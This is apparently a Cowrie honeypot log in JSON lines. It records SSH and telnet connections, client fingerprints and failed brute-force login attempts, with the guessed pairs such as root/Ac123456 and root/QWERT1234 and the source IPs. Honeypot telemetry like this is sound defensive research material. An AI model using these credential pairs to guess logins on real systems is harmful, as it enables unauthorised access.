{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:06.438412Z","src_ip":"91.92.42.227","session":"38c1db20c298","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ac123456","message":"login attempt [root/Ac123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:07.235578Z","src_ip":"91.92.42.227","session":"38c1db20c298","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:08.441844Z","src_ip":"91.92.42.227","session":"38c1db20c298","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":44618,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfd346369c99","protocol":"telnet","message":"New connection: 94.23.66.112:44618 (10.17.0.5:23) [session: bfd346369c99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:10.780466Z"}
{"eventid":"cowrie.session.closed","duration":0.0039501190185546875,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:10.784283Z","src_ip":"94.23.66.112","session":"bfd346369c99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33816,"dst_ip":"159.203.135.109","dst_port":23,"session":"1434e39c07fd","protocol":"telnet","message":"New connection: 128.199.8.54:33816 (159.203.135.109:23) [session: 1434e39c07fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:12.864101Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":37874,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed0a9db7575f","protocol":"ssh","message":"New connection: 91.92.42.227:37874 (10.17.0.5:22) [session: ed0a9db7575f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:14.937258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:15.304082Z","src_ip":"91.92.42.227","session":"ed0a9db7575f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:15.307425Z","src_ip":"91.92.42.227","session":"ed0a9db7575f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456789","message":"login attempt [debian/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:18.032323Z","src_ip":"91.92.42.227","session":"ed0a9db7575f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:19.945812Z","src_ip":"91.92.42.227","session":"ed0a9db7575f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":37930,"dst_ip":"10.17.0.5","dst_port":22,"session":"0db7bafdc3ab","protocol":"ssh","message":"New connection: 91.92.42.227:37930 (10.17.0.5:22) [session: 0db7bafdc3ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:22.315809Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.128.201.18","src_port":36625,"dst_ip":"159.203.135.109","dst_port":22,"session":"39f4ae7e28cd","protocol":"ssh","message":"New connection: 190.128.201.18:36625 (159.203.135.109:22) [session: 39f4ae7e28cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:23.017882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:23.021068Z","src_ip":"190.128.201.18","session":"39f4ae7e28cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:23.161989Z","src_ip":"190.128.201.18","session":"39f4ae7e28cd","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:23.303977Z","src_ip":"91.92.42.227","session":"0db7bafdc3ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:23.307372Z","src_ip":"91.92.42.227","session":"0db7bafdc3ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ninja","password":"123456","message":"login attempt [ninja/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:23.761459Z","src_ip":"190.128.201.18","session":"39f4ae7e28cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:24.906666Z","src_ip":"190.128.201.18","session":"39f4ae7e28cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456","message":"login attempt [rdpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:29.576784Z","src_ip":"91.92.42.227","session":"0db7bafdc3ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":52804,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cfb5ef73315","protocol":"ssh","message":"New connection: 91.92.42.227:52804 (10.17.0.5:22) [session: 6cfb5ef73315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:29.683917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:31.718324Z","src_ip":"91.92.42.227","session":"6cfb5ef73315","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:31.720871Z","src_ip":"91.92.42.227","session":"6cfb5ef73315","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:32.452052Z","src_ip":"91.92.42.227","session":"0db7bafdc3ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":37348,"dst_ip":"10.17.0.5","dst_port":22,"session":"52567a30a3ca","protocol":"ssh","message":"New connection: 91.92.42.227:37348 (10.17.0.5:22) [session: 52567a30a3ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:36.813289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:39.075856Z","src_ip":"91.92.42.227","session":"52567a30a3ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:39.079135Z","src_ip":"91.92.42.227","session":"52567a30a3ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qwaszx","message":"login attempt [root/12qwaszx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:39.237299Z","src_ip":"91.92.42.227","session":"6cfb5ef73315","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":49417,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fccad655ee2","protocol":"ssh","message":"New connection: 103.248.120.6:49417 (10.17.0.5:22) [session: 0fccad655ee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:39.246523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:39.250715Z","src_ip":"103.248.120.6","session":"0fccad655ee2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:39.473481Z","src_ip":"103.248.120.6","session":"0fccad655ee2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWERT1234","message":"login attempt [root/QWERT1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:40.399016Z","src_ip":"103.248.120.6","session":"0fccad655ee2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:41.623640Z","src_ip":"103.248.120.6","session":"0fccad655ee2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.5","message":"Connection lost after 12.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:42.187084Z","src_ip":"91.92.42.227","session":"6cfb5ef73315","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":37402,"dst_ip":"10.17.0.5","dst_port":22,"session":"07a62e5e4558","protocol":"ssh","message":"New connection: 91.92.42.227:37402 (10.17.0.5:22) [session: 07a62e5e4558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:43.981983Z"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.224.194","src_port":38468,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6caefaa1941","protocol":"ssh","message":"New connection: 4.213.224.194:38468 (10.17.0.5:22) [session: f6caefaa1941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:44.863863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:44.873165Z","src_ip":"4.213.224.194","session":"f6caefaa1941","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:45.067076Z","src_ip":"4.213.224.194","session":"f6caefaa1941","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:45.817381Z","src_ip":"91.92.42.227","session":"07a62e5e4558","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:45.820450Z","src_ip":"91.92.42.227","session":"07a62e5e4558","protocol":"ssh"}
